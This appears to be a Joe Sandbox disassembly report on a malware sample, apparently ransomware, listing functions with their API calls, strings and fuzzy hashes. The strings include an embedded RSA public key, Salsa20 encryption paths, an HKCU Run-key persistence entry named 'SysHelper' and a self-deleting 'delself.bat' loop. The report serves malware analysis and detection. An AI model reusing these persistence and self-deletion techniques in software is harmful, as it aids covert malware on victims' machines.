Function 004382A2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcscmp.LIBCMT ref: 004382B9
_wcscmp.LIBCMT ref: 004382CA
GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,00438568,?,00000000), ref: 004382E6
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,00438568,?,00000000), ref: 00438310

Strings

OCP, xrefs: 004382C4
ACP, xrefs: 004382B3

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: InfoLocale_wcscmp
String ID: ACP$OCP
API String ID: 1351282208-711371036
Opcode ID: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction ID: cf0fde08c92294f7ab6fed71b02f11d94bd2ad82eb759ef3fcb1a01a65759ec5
Opcode Fuzzy Hash: 102afb5f5093c9dfdd8a19d426743dda05a0526c846065600ba6b69f24068785
Instruction Fuzzy Hash: FA01C431200615ABDB205E59DC45FD77798AB18B54F10806BF908DA252EF79DA41C78C

Function 00419E70 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqnoQxlo2ifuF5FnP3E0d\\nOkfs8KoCVmquaK3X+eED3uPg5DHOIlHiKi, xrefs: 00419EC4
p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAqnoQxlo2ifuF5FnP3E0d\\nOkfs8KoCVmquaK3X+eED3uPg5DHOIlHiKi$p2Q
API String ID: 2102423945-1499034372
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Function 0040C070 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 280COMMON

Download Yara Rule

APIs

__wassert.LIBCMT ref: 0040C09A

Strings

e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl, xrefs: 0040C090
input != nullptr && output != nullptr, xrefs: 0040C095

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: __wassert
String ID: e:\doc\my work (c++)\_git\encryption\encryptionwinapi\Salsa20.inl$input != nullptr && output != nullptr
API String ID: 3993402318-1975116136
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 1562121ec4d7abfac7b8d7a3269f54288592c24a15d8ca99342f0f863a8d7c6a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 43C18C75E002599FCB54CFA9C885ADEBBF1FF48300F24856AE919E7301E334AA558B54

Function 004124E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 004124FE
GetLastError.KERNEL32 ref: 00412509
CloseHandle.KERNEL32 ref: 0041251C
CloseHandle.KERNEL32 ref: 00412539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00412550
GetLastError.KERNEL32 ref: 0041255B
CloseHandle.KERNEL32 ref: 0041256E

Strings

"if exist ", xrefs: 00412648
del ", xrefs: 00412674
TEMP, xrefs: 004125DF
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00412547
delself.bat, xrefs: 0041261C
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 004124F5
@echo off:trydel ", xrefs: 0041262A
" goto try, xrefs: 00412666
D, xrefs: 00412720

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction ID: b8d6f70f31989c1caf7dd59f8aefe182ce9601728b58fe5e15313657dd94e056
Opcode Fuzzy Hash: 4506a078386c228e7a8f507305766ec05e664451a55683de5f3f64ca7fb9d614
Instruction Fuzzy Hash: 03714E72940218AADF50ABE1DC89FEE7BACFB44305F0445A6F609D2090DF759A88CF64

Function 00411900 Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 95stringmemorywindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00411915
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,?,00000000,00000000), ref: 00411932
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411941
lstrlenW.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411948
LocalAlloc.KERNEL32(00000040,00000000,?,00000400,?,00000000,00000000), ref: 00411956
lstrcpyW.KERNEL32(00000000,?,?,00000400,?,00000000,00000000), ref: 00411962
lstrcatW.KERNEL32(00000000, failed with error ,?,00000400,?,00000000,00000000), ref: 00411974
lstrcatW.KERNEL32(00000000,?,?,00000400,?,00000000,00000000), ref: 0041198B
lstrcatW.KERNEL32(00000000,00500260,?,00000400,?,00000000,00000000), ref: 00411993
lstrcatW.KERNEL32(00000000,?,?,00000400,?,00000000,00000000), ref: 00411999
lstrlenW.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 004119A3
_memset.LIBCMT ref: 004119B8
lstrcpynW.KERNEL32(?,00000000,00000400,?,00000400,?,00000000,00000000), ref: 004119DC

Part of subcall function 00412BA0: lstrlenW.KERNEL32(?), ref: 00412BC9

LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000), ref: 00411A01
LocalFree.KERNEL32(00000000,?,00000400,?,00000000,00000000), ref: 00411A04

Strings

failed with error , xrefs: 0041196E

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: lstrcatlstrlen$Local$Free$AllocErrorFormatLastMessage_memsetlstrcpylstrcpyn
String ID: failed with error
API String ID: 4182478520-946485432
Opcode ID: 172b79915ac33bd678d32bde4226a0e24b826fa270b4d7bd6214eb3b2e5526ac
Instruction ID: 1677776e610180b78075291f83559cfdcc99dc463041ebd32873df59a21ecb07
Opcode Fuzzy Hash: 172b79915ac33bd678d32bde4226a0e24b826fa270b4d7bd6214eb3b2e5526ac
Instruction Fuzzy Hash: 0021FB31A40214B7D7516B929C85FAE3A38EF45B11F100025FB09B61D0DE741D419BED

Function 004822E0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 127windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004549A0: GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00454B72), ref: 004549C7
Part of subcall function 004549A0: GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
Part of subcall function 004549A0: GetDesktopWindow.USER32 ref: 004549FB
Part of subcall function 004549A0: GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
Part of subcall function 004549A0: GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
Part of subcall function 004549A0: GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
Part of subcall function 004549A0: _wcsstr.LIBCMT ref: 00454A8A

CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00482316
CreateCompatibleDC.GDI32(00000000), ref: 00482323
GetDeviceCaps.GDI32(00000000,00000008), ref: 00482338
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00482341
CreateCompatibleBitmap.GDI32(00000000,?,00000010), ref: 0048234E
SelectObject.GDI32(00000000,00000000), ref: 0048235C
GetObjectA.GDI32(00000000,00000018,?), ref: 0048236E
BitBlt.GDI32(?,00000000,00000000,?,00000010,?,00000000,00000000,00CC0020), ref: 004823CA
GetBitmapBits.GDI32(?,?,00000000), ref: 004823D6
SelectObject.GDI32(?,?), ref: 00482436
DeleteObject.GDI32(00000000), ref: 0048243D
DeleteDC.GDI32(?), ref: 0048244A
DeleteDC.GDI32(?), ref: 00482450

Strings

DISPLAY, xrefs: 00482311
.\crypto\rand\rand_win.c, xrefs: 00482383

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Object$CreateDelete$BitmapCapsCompatibleDeviceInformationSelectUserWindow$AddressBitsDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: .\crypto\rand\rand_win.c$DISPLAY
API String ID: 151064509-1805842116
Opcode ID: 0c9c1c2ab8505d5d0ad1ff410e0c07bd783a2317b8dbec5b469f5910e3c33601
Instruction ID: 00d76d2b57e2ae43ffa0e146b327d2d4306243c0a97269805a4caa25bb15a565
Opcode Fuzzy Hash: 0c9c1c2ab8505d5d0ad1ff410e0c07bd783a2317b8dbec5b469f5910e3c33601
Instruction Fuzzy Hash: 0441BB71944300EBD3105BB6DC86F6FBBF8FF85B14F00052EFA54962A1E77598008B6A

Function 00427B21 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 00427B29
_free.LIBCMT ref: 00427B42

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C13

_free.LIBCMT ref: 00427B55
_free.LIBCMT ref: 00427B73
_free.LIBCMT ref: 00427B85
_free.LIBCMT ref: 00427B96
_free.LIBCMT ref: 00427BA1
_free.LIBCMT ref: 00427BC5
EncodePointer.KERNEL32(006F4AF8), ref: 00427BCC
_free.LIBCMT ref: 00427BE1
_free.LIBCMT ref: 00427BF7
_free.LIBCMT ref: 00427C1F

Strings

x!y, xrefs: 00427BD7, 00427BE7

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID: x!y
API String ID: 3064303923-15023233
Opcode ID: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction ID: d8036121d910c09816430481b6b6363fcbb95216f7cc64832fdbf6810ac9f003
Opcode Fuzzy Hash: ce5aad9df44a4d959ab26dd18bbfc051b559e509faa5c70b1469206ba00ae6fa
Instruction Fuzzy Hash: C2217535A042748BCB215F56BC80D4A7BA4EB14328B94453FEA14573A1CBF87889DA98

Function 004635B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 004636AA
_strncmp.LIBCMT ref: 004636DA
_strncmp.LIBCMT ref: 00463835
_strncmp.LIBCMT ref: 00463946
_strncmp.LIBCMT ref: 004639EA
_strncmp.LIBCMT ref: 00463A06
_strncmp.LIBCMT ref: 00463A27

Strings

-----, xrefs: 004636D4, 00463A21
.\crypto\pem\pem_lib.c, xrefs: 00463709, 0046374F, 00463791, 00463A69, 00463B02, 00463B62, 00463B85, 00463BDA
, xrefs: 00463A90
-----END , xrefs: 0046382F, 00463940, 004639E4
-----BEGIN , xrefs: 004636A4

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: 84ee3cde42700812759a9ef38857a16d989f8e96272b56e8f3a280f090e98fcd
Instruction ID: 696768b63e7695c6252fa4396c8fc8293dc5daf0279c077ed15b414a568efc74
Opcode Fuzzy Hash: 84ee3cde42700812759a9ef38857a16d989f8e96272b56e8f3a280f090e98fcd
Instruction Fuzzy Hash: 82F1E7B16483806BE721EE25DC42F5B77D89F5470AF04082FF948D6283F678DA09879B

Function 00425A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425AAE

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__calloc_crt.LIBCMT ref: 00425AD2
_free.LIBCMT ref: 00425AE0
__calloc_crt.LIBCMT ref: 00425AEE
_free.LIBCMT ref: 00425AFE
_free.LIBCMT ref: 00425B04
__copytlocinfo_nolock.LIBCMT ref: 00425B13
__wsetlocale_nolock.LIBCMT ref: 00425B20
__setmbcp_nolock.LIBCMT ref: 00425B34
_free.LIBCMT ref: 00425B42
___removelocaleref.LIBCMT ref: 00425B49
___freetlocinfo.LIBCMT ref: 00425B50
_free.LIBCMT ref: 00425B56

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 8b5b6749b4f509f283f4592c8036b9fc340ac08d61b50d13b2524a40b9fdfb6a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 7E21B331705A21ABE7217F66B802E1F7FE4DF41728BD0442FF44459192EA39A800CA5D

Function 00411B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00411BB0
CoCreateInstance.OLE32(004CE908,00000000,00000001,004CD568,00000000), ref: 00411BC8
CoUninitialize.OLE32 ref: 00411BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00411C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00411C22
lstrcatW.KERNEL32(?,00500050), ref: 00411C3A
lstrcatW.KERNEL32(?), ref: 00411C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00411C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00411C7A

Strings

\shell32.dll, xrefs: 00411C6E

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction ID: 1ac700bd2dba931ae0f93f3cd35093afe8c3aec66b03df765643047a9f16b657
Opcode Fuzzy Hash: 45e46fc2f9e137a48023c8b07f4e0b5fd5f09384ac33b8a62bbc2b8c253a451b
Instruction Fuzzy Hash: 1D415E70A40209AFDB10CBA4DC88FEA7B7CEF44705F104499F609D7160D6B4AA45CB54

Function 004549A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(FFFFFFFF,?,00000001,?,00454B72), ref: 004549C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 004549D7
GetDesktopWindow.USER32 ref: 004549FB
GetProcessWindowStation.USER32(?,00454B72), ref: 00454A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,00454B72), ref: 00454A1C
GetLastError.KERNEL32(?,00454B72), ref: 00454A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,00454B72), ref: 00454A65
_wcsstr.LIBCMT ref: 00454A8A

Strings

_OPENSSL_isservice, xrefs: 004549D1
Service-0x, xrefs: 00454A80

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 3807c14e2e06666c3841fd577d8dc4c169a4d8fe6725ffaf2f8e04ccca0ab35a
Instruction ID: a4b3c478c226dd270820e71b951499fe23bca8177d071b610c32d3665965eb2a
Opcode Fuzzy Hash: 3807c14e2e06666c3841fd577d8dc4c169a4d8fe6725ffaf2f8e04ccca0ab35a
Instruction Fuzzy Hash: 04312831A401049BCB10DBBAEC46AAE7778DFC4325F10426BFC19D72E1EB349D148B58

Function 00454AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
GetFileType.KERNEL32(00000000), ref: 00454B05
__vfwprintf_p.LIBCMT ref: 00454B27

Part of subcall function 0042BDCC: _vfprintf_helper.LIBCMT ref: 0042BDDF

vswprintf.LIBCMT ref: 00454B5D
RegisterEventSourceA.ADVAPI32(00000000,OPENSSL), ref: 00454B7E
ReportEventA.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000001,00000000,?,00000000), ref: 00454BA2
DeregisterEventSource.ADVAPI32(00000000), ref: 00454BA9
MessageBoxA.USER32(00000000,?,OpenSSL: FATAL,00000010), ref: 00454BD3

Strings

OPENSSL, xrefs: 00454B77
OpenSSL: FATAL, xrefs: 00454BC7

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Event$Source$DeregisterFileHandleMessageRegisterReportType__vfwprintf_p_vfprintf_helpervswprintf
String ID: OPENSSL$OpenSSL: FATAL
API String ID: 277090408-1348657634
Opcode ID: ce6eb8d3f5f16185de033b2eb02e1ed4c4d2bc7c389f561c58e1c798f68c238c
Instruction ID: 2d266f03b07cc91b1361f4b715b0612335af4cc100d4b249efeb6d9ab3704f8b
Opcode Fuzzy Hash: ce6eb8d3f5f16185de033b2eb02e1ed4c4d2bc7c389f561c58e1c798f68c238c
Instruction Fuzzy Hash: 74210D716443006BD770A761DC47FEF77D8EF94704F80482EF699861D1EAB89444875B

Function 00412360 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 00412389
_memset.LIBCMT ref: 004123B6
RegQueryValueExW.ADVAPI32(?,SysHelper,00000000,00000001,?,00000400), ref: 004123DE
RegCloseKey.ADVAPI32(?), ref: 004123E7
GetCommandLineW.KERNEL32 ref: 004123F4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 004123FF
lstrcpyW.KERNEL32(?,00000000), ref: 0041240E
lstrcmpW.KERNEL32(?,?), ref: 00412422

Strings

SysHelper, xrefs: 004123D6
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0041237F

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: CommandLine$ArgvCloseOpenQueryValue_memsetlstrcmplstrcpy
String ID: Software\Microsoft\Windows\CurrentVersion\Run$SysHelper
API String ID: 122392481-4165002228
Opcode ID: 06da7c2837e38599fef00ce52c1f6902c681b54622b65709e13af315f42eef8d
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: 06da7c2837e38599fef00ce52c1f6902c681b54622b65709e13af315f42eef8d
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Function 00425B6E Relevance: 16.6, APIs: 11, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
_wcscmp.LIBCMT ref: 00425C59
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock_wcscmp
String ID:
API String ID: 1077091919-0
Opcode ID: 0727ae4cc99d48966fa21793c9fc57279ad8f68c0750dd608dbf0930cc1fe26a
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 0727ae4cc99d48966fa21793c9fc57279ad8f68c0750dd608dbf0930cc1fe26a
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

string too long, xrefs: 00418338
invalid string position, xrefs: 00418342

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 792d112af0fa9ddc9baf780d6e55906f8cf88b841c6546fcd7dace90299be161
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
